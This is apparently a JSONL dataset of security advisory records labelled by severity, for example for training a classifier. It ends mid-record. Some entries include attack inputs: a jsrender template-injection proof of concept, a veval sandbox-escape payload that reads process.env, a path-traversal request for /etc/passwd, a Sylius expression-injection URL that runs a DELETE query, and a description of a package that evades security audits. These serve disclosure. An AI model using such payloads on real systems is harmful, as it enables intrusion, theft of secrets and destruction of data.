-{"id": "52ae643d2d273ac85210", "text": "RCE via PHP Object injection via SOAP Requests\n\n### Impact\nThis vulnerability allows an admin user to generate soap credentials that can be used to trigger RCE via PHP Object Injection through product attributes and a product.\n\n### Patches\nThe latest OpenMage Versions up from 19.4.7 and 20.0.3 have this Issue solved\n\n### Credits\nCredit to Luke Rodgers for reporting", "text_raw": "RCE via PHP Object injection via SOAP Requests\n\n[Severity: HIGH]\n\n### Impact\nThis vulnerability allows an admin user to generate soap credentials that can be used to trigger RCE via PHP Object Injection through product attributes and a product.\n\n### Patches\nThe latest OpenMage Versions up from 19.4.7 and 20.0.3 have this Issue solved\n\n### Credits\nCredit to Luke Rodgers for reporting", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-30", "split": "train"}
-{"id": "c980f93459ddb7b7e9c4", "text": "Malicious Package in saync\n\nAll versions of `saync ` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in saync\n\n[Severity: CRITICAL]\n\nAll versions of `saync ` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "4f118de0d64d47463593", "text": "Template Injection in jsrender\n\nAffected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.", "text_raw": "Template Injection in jsrender\n\n[Severity: MEDIUM]\n\nAffected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "108fefd97d6a8926cd74", "text": "HTTP Request Smuggling in Netty\n\nHttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header.", "text_raw": "HTTP Request Smuggling in Netty\n\n[Severity: MEDIUM]\n\nHttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-21", "split": "train"}
-{"id": "dd1ae3bd6587916c6c3a", "text": "Prototype Pollution in config-handler\n\nAll versions of package config-handler are vulnerable to Prototype Pollution when loading config files.", "text_raw": "Prototype Pollution in config-handler\n\n[Severity: CRITICAL]\n\nAll versions of package config-handler are vulnerable to Prototype Pollution when loading config files.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "dbc06df0bd667bdb6874", "text": "Improper Certificate Validation in WP-CLI framework\n\n### Impact\nAn improper error handling in HTTPS requests management in WP-CLI version 0.12.0 and later allows remote attackers able to intercept the communication to remotely disable the certificate verification on WP-CLI side, gaining full control over the communication content, including the ability to impersonate update servers and push malicious updates towards WordPress instances controlled by the vulnerable WP-CLI agent, or push malicious updates toward WP-CLI itself.\n\n### Patches\nThe vulnerability stems from the fact that the default behavior of `WP_CLI\\Utils\\http_request()` when encountering a TLS handshake error is to disable certificate validation and retry the same request.\n\nThe default behavior has been changed with version 2.5.0 of WP-CLI and the `wp-cli/wp-cli` framework (via https://github.com/wp-cli/wp-cli/pull/5523) so that the `WP_CLI\\Utils\\http_request()` method accepts an `$insecure` option that is `false` by default and consequently that a TLS handshake failure is a hard error by default. This new default is a breaking change and ripples through to all consumers of `WP_CLI\\Utils\\http_request()`, including those in separate WP-CLI bundled or third-party packages.\n\nhttps://github.com/wp-cli/wp-cli/pull/5523 has also added an `--insecure` flag to the `cli update` command to counter this breaking change.\n\nSubsequent PRs on the command repositories have added an `--insecure` flag to the appropriate commands on the following repositories to counter the breaking change:\n\n* https://github.com/wp-cli/config-command/pull/128\n* https://github.com/wp-cli/core-command/pull/186\n* https://github.com/wp-cli/extension-command/pull/287\n* https://github.com/wp-cli/checksum-command/pull/86\n* https://github.com/wp-cli/package-command/pull/138\n\n### Workarounds\nThere is no direct workaround for the default insecure behavior of `wp-cli/wp-cli` versions before 2.5.0.\n\nThe workaround for dealing with the breaking change in the commands directly affected by the new secure default behavior is to add the `--insecure` flag to manually opt-in to the previous insecure behavior.\n\n### References\n* [CWE: Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Join the `#cli` channel in the [WordPress.org Slack](https://make.wordpress.org/chat/) to ask questions or provide feedback.", "text_raw": "Improper Certificate Validation in WP-CLI framework\n\n[Severity: CRITICAL]\n\n### Impact\nAn improper error handling in HTTPS requests management in WP-CLI version 0.12.0 and later allows remote attackers able to intercept the communication to remotely disable the certificate verification on WP-CLI side, gaining full control over the communication content, including the ability to impersonate update servers and push malicious updates towards WordPress instances controlled by the vulnerable WP-CLI agent, or push malicious updates toward WP-CLI itself.\n\n### Patches\nThe vulnerability stems from the fact that the default behavior of `WP_CLI\\Utils\\http_request()` when encountering a TLS handshake error is to disable certificate validation and retry the same request.\n\nThe default behavior has been changed with version 2.5.0 of WP-CLI and the `wp-cli/wp-cli` framework (via https://github.com/wp-cli/wp-cli/pull/5523) so that the `WP_CLI\\Utils\\http_request()` method accepts an `$insecure` option that is `false` by default and consequently that a TLS handshake failure is a hard error by default. This new default is a breaking change and ripples through to all consumers of `WP_CLI\\Utils\\http_request()`, including those in separate WP-CLI bundled or third-party packages.\n\nhttps://github.com/wp-cli/wp-cli/pull/5523 has also added an `--insecure` flag to the `cli update` command to counter this breaking change.\n\nSubsequent PRs on the command repositories have added an `--insecure` flag to the appropriate commands on the following repositories to counter the breaking change:\n\n* https://github.com/wp-cli/config-command/pull/128\n* https://github.com/wp-cli/core-command/pull/186\n* https://github.com/wp-cli/extension-command/pull/287\n* https://github.com/wp-cli/checksum-command/pull/86\n* https://github.com/wp-cli/package-command/pull/138\n\n### Workarounds\nThere is no direct workaround for the default insecure behavior of `wp-cli/wp-cli` versions before 2.5.0.\n\nThe workaround for dealing with the breaking change in the commands directly affected by the new secure default behavior is to add the `--insecure` flag to manually opt-in to the previous insecure behavior.\n\n### References\n* [CWE: Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Join the `#cli` channel in the [WordPress.org Slack](https://make.wordpress.org/chat/) to ask questions or provide feedback.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-19", "split": "train"}
-{"id": "af7cd42620be1253fa9d", "text": "Remote Code Execution in SyliusResourceBundle\n\n### Impact\n\nRequest parameters injected inside an expression evaluated by `symfony/expression-language` package haven't been sanitized properly. This allows the attacker to access any public service by manipulating that request parameter, allowing for Remote Code Execution.\n\nThe vulnerable versions include: `<=1.3.13 || >=1.4.0 <=1.4.6 || >=1.5.0 <=1.5.1 || >=1.6.0 <=1.6.3`.\n\n### Example\n\n```yaml\nsylius_grid:\n    grids:\n        foo:\n            fields:\n                bar:\n                    options:\n                        baz: \"expr:service('sylius.repository.product').find($id)\"\n```\n\nIn this case, `$id` can be prepared in a way that calls other services.\n\nIf you visit `/route?id=\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"`, it will result in a following expression `expr:service('repository').find(\"\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"\")`, which will execute a query on the currently connected database.\n\nTo find a vulnerability in your application, look for any routing definition that uses request parameters inside expression language.\n\n### Patches\n\nThis issue has been patched for versions 1.3.14, 1.4.7, 1.5.2 and 1.6.4. Versions prior to 1.3 were not patched.\n\n### Workarounds\n\nThe fix requires adding `addslashes` in `OptionsParser::parseOptionExpression` to sanitize user input before evaluating it using the expression language.\n\n```php\n- return is_string($variable) ? sprintf('\"%s\"', $variable) : $variable;\n+ return is_string($variable) ? sprintf('\"%s\"', addslashes($variable)) : $variable;\n```\n\n### Acknowledgements\n\nThis security issue has been reported by Craig Blanchette (@isometriks), thanks a lot!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@sylius.com](mailto:security@sylius.com)", "text_raw": "Remote Code Execution in SyliusResourceBundle\n\n[Severity: CRITICAL]\n\n### Impact\n\nRequest parameters injected inside an expression evaluated by `symfony/expression-language` package haven't been sanitized properly. This allows the attacker to access any public service by manipulating that request parameter, allowing for Remote Code Execution.\n\nThe vulnerable versions include: `<=1.3.13 || >=1.4.0 <=1.4.6 || >=1.5.0 <=1.5.1 || >=1.6.0 <=1.6.3`.\n\n### Example\n\n```yaml\nsylius_grid:\n    grids:\n        foo:\n            fields:\n                bar:\n                    options:\n                        baz: \"expr:service('sylius.repository.product').find($id)\"\n```\n\nIn this case, `$id` can be prepared in a way that calls other services. \n\nIf you visit `/route?id=\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"`, it will result in a following expression `expr:service('repository').find(\"\"~service('doctrine').getManager().getConnection().executeQuery(\"DELETE * FROM TABLE\")~\"\")`, which will execute a query on the currently connected database.\n\nTo find a vulnerability in your application, look for any routing definition that uses request parameters inside expression language.\n\n### Patches\n\nThis issue has been patched for versions 1.3.14, 1.4.7, 1.5.2 and 1.6.4. Versions prior to 1.3 were not patched.\n\n### Workarounds\n\nThe fix requires adding `addslashes` in `OptionsParser::parseOptionExpression` to sanitize user input before evaluating it using the expression language.\n\n```php\n- return is_string($variable) ? sprintf('\"%s\"', $variable) : $variable;\n+ return is_string($variable) ? sprintf('\"%s\"', addslashes($variable)) : $variable;\n```\n\n### Acknowledgements\n\nThis security issue has been reported by Craig Blanchette (@isometriks), thanks a lot!\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Email us at [security@sylius.com](mailto:security@sylius.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-19", "split": "train"}
-{"id": "6513a2a443a249f4b95c", "text": "Cross site-scripting (XSS) moodle\n\nThe filter in the tag manager required extra sanitizing to prevent a reflected XSS risk. This affects 3.9 to 3.9.1, 3.8 to 3.8.4, 3.7 to 3.7.7, 3.5 to 3.5.13 and earlier unsupported versions. Fixed in 3.9.2, 3.8.5, 3.7.8 and 3.5.14.", "text_raw": "Cross site-scripting (XSS) moodle\n\n[Severity: MEDIUM]\n\nThe filter in the tag manager required extra sanitizing to prevent a reflected XSS risk. This affects 3.9 to 3.9.1, 3.8 to 3.8.4, 3.7 to 3.7.7, 3.5 to 3.5.13 and earlier unsupported versions. Fixed in 3.9.2, 3.8.5, 3.7.8 and 3.5.14.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "61ca06aba5ec76765819", "text": "Authentication Bypass in saml2-js\n\nVersions of `saml2-js` prior to 2.0.5 are vulnerable to an Authentication Bypass. The package fails to enforce the assertion conditions for encrypted assertions, which may allow an attacker to reuse encrypted assertion tokens indefinitely.\n\n## Recommendation\n\nUpgrade to version 2.0.5 or later.", "text_raw": "Authentication Bypass in saml2-js\n\n[Severity: MEDIUM]\n\nVersions of `saml2-js` prior to 2.0.5 are vulnerable to an Authentication Bypass. The package fails to enforce the assertion conditions for encrypted assertions, which may allow an attacker to reuse encrypted assertion tokens indefinitely.\n\n\n## Recommendation\n\nUpgrade to version 2.0.5 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "ca71ddb1fbbc008693ee", "text": "Regular expression denial of service (ReDoS) in EmailField component in Vaadin 14 and 15-17\n\nUnsafe validation RegEx in `EmailField` component in `com.vaadin:vaadin-text-field-flow` versions 2.0.4 through 2.3.2 (Vaadin 14.0.6 through 14.4.3), and 3.0.0 through 4.0.2 (Vaadin 15.0.0 through 17.0.10) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.\n\n- https://vaadin.com/security/cve-2021-31405", "text_raw": "Regular expression denial of service (ReDoS) in EmailField component in Vaadin 14 and 15-17\n\n[Severity: HIGH]\n\nUnsafe validation RegEx in `EmailField` component in `com.vaadin:vaadin-text-field-flow` versions 2.0.4 through 2.3.2 (Vaadin 14.0.6 through 14.4.3), and 3.0.0 through 4.0.2 (Vaadin 15.0.0 through 17.0.10) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.\n\n- https://vaadin.com/security/cve-2021-31405", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "befd98938802943e1fd7", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.openjpa.ee.WASRegistryManagedRuntime (aka openjpa).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.openjpa.ee.WASRegistryManagedRuntime (aka openjpa).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "6488ef4276abea504467", "text": "SQL Injection in Cloud Native Computing Foundation Harbor\n\nCloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via user-groups in the VMware Harbor Container Registry for the Pivotal Platform.", "text_raw": "SQL Injection in Cloud Native Computing Foundation Harbor\n\n[Severity: HIGH]\n\nCloud Native Computing Foundation Harbor prior to 1.8.6 and 1.9.3 allows SQL Injection via user-groups in the VMware Harbor Container Registry for the Pivotal Platform.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "f9ec009c293e8ecf422a", "text": "WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Creation Exploit (RCE)", "text_raw": "WordPress MiwoFTP Plugin 1.0.5 CSRF Arbitrary File Creation Exploit (RCE)\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-04-14", "split": "train"}
-{"id": "e81fe8dee9d154b596a0", "text": "Malicious package may avoid detection in python auditing\n\n# Python Auditing Vulnerability\n\nDemonstrates how a malicious package can insert a load-time poison pill to avoid detection by tools like Safety.\n\nTools that are designed to find vulnerable packages can not ever run in the same python environment that they are trying to protect.\n\n## Usage\n\nInstall `safety`, `insecure-package`, and this package with pip in the same python environment. Order doesn&amp;#39;t matter.\n\n1. pip install safety\n2. pip install insecure-package\n3. pip install dist/malicious-0.1-py3-none-any.whl\n\nRun the check\n\n4. `safety check`\n\nYou should see both `Running my modified safety.check` and that `insecure-package` is not listed in the results!\n\n## How it Works\n\nEverything in Python is mutable. The trick is getting some code to run at interpreter load time in order to do some patching.\n\n1. When you install this package, the `setup.py` settings installs a `malicious.pth` file to your `site-packages` directory.\n2. The `malicious.pth` file gets loaded anytime Python starts, which in turn imports our `malicious` package.\n3. The `malicious/__init__.py` patches the safety library with a custom function to avoid detection.", "text_raw": "Malicious package may avoid detection in python auditing\n\n[Severity: MEDIUM]\n\n# Python Auditing Vulnerability\n\nDemonstrates how a malicious package can insert a load-time poison pill to avoid detection by tools like Safety.\n\nTools that are designed to find vulnerable packages can not ever run in the same python environment that they are trying to protect.\n\n## Usage\n\nInstall `safety`, `insecure-package`, and this package with pip in the same python environment. Order doesn&amp;#39;t matter.\n\n1. pip install safety\n2. pip install insecure-package\n3. pip install dist/malicious-0.1-py3-none-any.whl\n\nRun the check\n\n4. `safety check`\n\nYou should see both `Running my modified safety.check` and that `insecure-package` is not listed in the results!\n\n\n## How it Works\n\nEverything in Python is mutable. The trick is getting some code to run at interpreter load time in order to do some patching.\n\n1. When you install this package, the `setup.py` settings installs a `malicious.pth` file to your `site-packages` directory.\n2. The `malicious.pth` file gets loaded anytime Python starts, which in turn imports our `malicious` package.\n3. The `malicious/__init__.py` patches the safety library with a custom function to avoid detection.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-03-24", "split": "train"}
-{"id": "dbb612983825e798bfac", "text": "TutorialMS v1.4 (show) Remote SQL Injection Vulnerability", "text_raw": "TutorialMS v1.4 (show) Remote SQL Injection Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-04-05", "split": "train"}
-{"id": "26a17624d905e631b01e", "text": "Cross-site Scripting in Gogs\n\nCross-site scripting (XSS) vulnerability in models/issue.go in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.8 allows remote attackers to inject arbitrary web script or HTML via the text parameter to api/v1/markdown.", "text_raw": "Cross-site Scripting in Gogs\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in models/issue.go in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.8 allows remote attackers to inject arbitrary web script or HTML via the text parameter to api/v1/markdown.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "ce0e14f40123be516849", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Keycloak\n\nIt was found that keycloak before version 8.0.0 exposes internal adapter endpoints in org.keycloak.constants.AdapterConstants, which can be invoked via a specially-crafted URL. This vulnerability could allow an attacker to access unauthorized information.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Keycloak\n\n[Severity: MEDIUM]\n\nIt was found that keycloak before version 8.0.0 exposes internal adapter endpoints in org.keycloak.constants.AdapterConstants, which can be invoked via a specially-crafted URL. This vulnerability could allow an attacker to access unauthorized information.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-15", "split": "train"}
-{"id": "edc797d3950d60defc50", "text": "Sandbox Breakout / Arbitrary Code Execution in veval\n\nAll versions of `veval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in veval\n\n[Severity: CRITICAL]\n\nAll versions of `veval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "4e8e962c27549dd40aef", "text": "Directory Traversal in hftp\n\nAffected versions of `hftp` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in hftp\n\n[Severity: HIGH]\n\nAffected versions of `hftp` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "fc5bbcc2fb2e99373d3b", "text": "Cross-Site Scripting in TYPO3 CMS Form Engine\n\nIn TYPO3 CMS greater than or equal to 9.0.0 and less than 9.5.17 and greater than or equal to 10.0.0 and less than 10.4.2, it has been discovered that HTML `placeholder` attributes containing data of other database records are vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-002", "text_raw": "Cross-Site Scripting in TYPO3 CMS Form Engine\n\n[Severity: MEDIUM]\n\nIn TYPO3 CMS greater than or equal to 9.0.0 and less than 9.5.17 and greater than or equal to 10.0.0 and less than 10.4.2, it has been discovered that HTML `placeholder` attributes containing data of other database records are vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-002", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "ba90ca7e5cb4cf15ba1e", "text": "No Charset in Content-Type Header in express\n\nVulnerable versions of express do not specify a charset field in the content-type header while displaying 400 level response messages. The lack of enforcing user's browser to set correct charset, could be leveraged by an attacker to perform a cross-site scripting attack, using non-standard encodings, like UTF-7.\n\n## Recommendation\n\nFor express 3.x, update express to version 3.11 or later.\nFor express 4.x, update express to version 4.5 or later.", "text_raw": "No Charset in Content-Type Header in express\n\n[Severity: MEDIUM]\n\nVulnerable versions of express do not specify a charset field in the content-type header while displaying 400 level response messages. The lack of enforcing user's browser to set correct charset, could be leveraged by an attacker to perform a cross-site scripting attack, using non-standard encodings, like UTF-7.\n\n\n## Recommendation\n\nFor express 3.x, update express to version 3.11 or later.\nFor express 4.x, update express to version 4.5 or later. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-23", "split": "train"}
-{"id": "2d061eb6cc18833d2b4f", "text": "Denial of service in fastify\n\nA denial of service vulnerability exists in Fastify v2.14.1 and v3.0.0-rc.4 that allows a malicious user to trigger resource exhaustion (when the allErrors option is used) with specially crafted schemas.", "text_raw": "Denial of service in fastify\n\n[Severity: MEDIUM]\n\nA denial of service vulnerability exists in Fastify v2.14.1 and v3.0.0-rc.4 that allows a malicious user to trigger resource exhaustion (when the allErrors option is used) with specially crafted schemas.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "60c761714061f703c728", "text": "Insertion of Sensitive Information into Log File in ansible\n\nA flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality.", "text_raw": "Insertion of Sensitive Information into Log File in ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "8df78379391630315b89", "text": "Missing Authorization in TYPO3 extension\n\nThe direct_mail extension through 5.2.3 for TYPO3 has Broken Access Control for newsletter subscriber tables.", "text_raw": "Missing Authorization in TYPO3 extension\n\n[Severity: MEDIUM]\n\nThe direct_mail extension through 5.2.3 for TYPO3 has Broken Access Control for newsletter subscriber tables.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "3b133619e01fa00456c8", "text": "Ricon Industrial Cellular Router S9922XL Remote Command Execution", "text_raw": "Ricon Industrial Cellular Router S9922XL Remote Command Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-07-04", "split": "train"}
-{"id": "2ad8be6e1bd174c96bfc", "text": "Improper Verification of Cryptographic Signature in aws-encryption-sdk\n\n### Impact\n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages.\n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x", "text_raw": "Improper Verification of Cryptographic Signature in aws-encryption-sdk\n\n[Severity: MEDIUM]\n\n### Impact\n\nThis advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages. \n\nThis ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages. \n\nFor customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.\n\nFinally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.\n\n### Patches\n\nFixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.\n\nCustomers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\nUsers processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n\n### Workarounds\n\nNone\n\n### For more information\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs\n\nhttps://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-01", "split": "train"}
-{"id": "92588d4ca0f6be2317e9", "text": "Older releases of better_errors open to Cross-Site Request Forgery attack\n\n### Impact\nbetter_errors prior to 2.8.0 did not implement CSRF protection for its internal requests. It also did not enforce the correct \"Content-Type\" header for these requests, which allowed a cross-origin \"simple request\" to be made without CORS protection. These together left an application with better_errors enabled open to cross-origin attacks.\n\n_As a developer tool, better_errors documentation strongly recommends addition only to the `development` bundle group, so this vulnerability should only affect development environments. Please ensure that your project limits better_errors to the `development` group (or the non-Rails equivalent)._\n\n### Patches\nStarting with release 2.8.x, CSRF protection is enforced. It is recommended that you upgrade to the latest release, or minimally to \"~> 2.8.3\".\n\n### Workarounds\nThere are no known workarounds to mitigate the risk of using older releases of better_errors.\n\n### References\n- Chris Moberly provided [an example attack that uses a now-patched vulnerability of webpack-dev-server in conjunction with Better Errors](https://about.gitlab.com/blog/2021/09/07/why-are-developers-vulnerable-to-driveby-attacks/)\n\n### For more information\nIf you have any questions or comments about this advisory, please\n- Add to the [discussion in 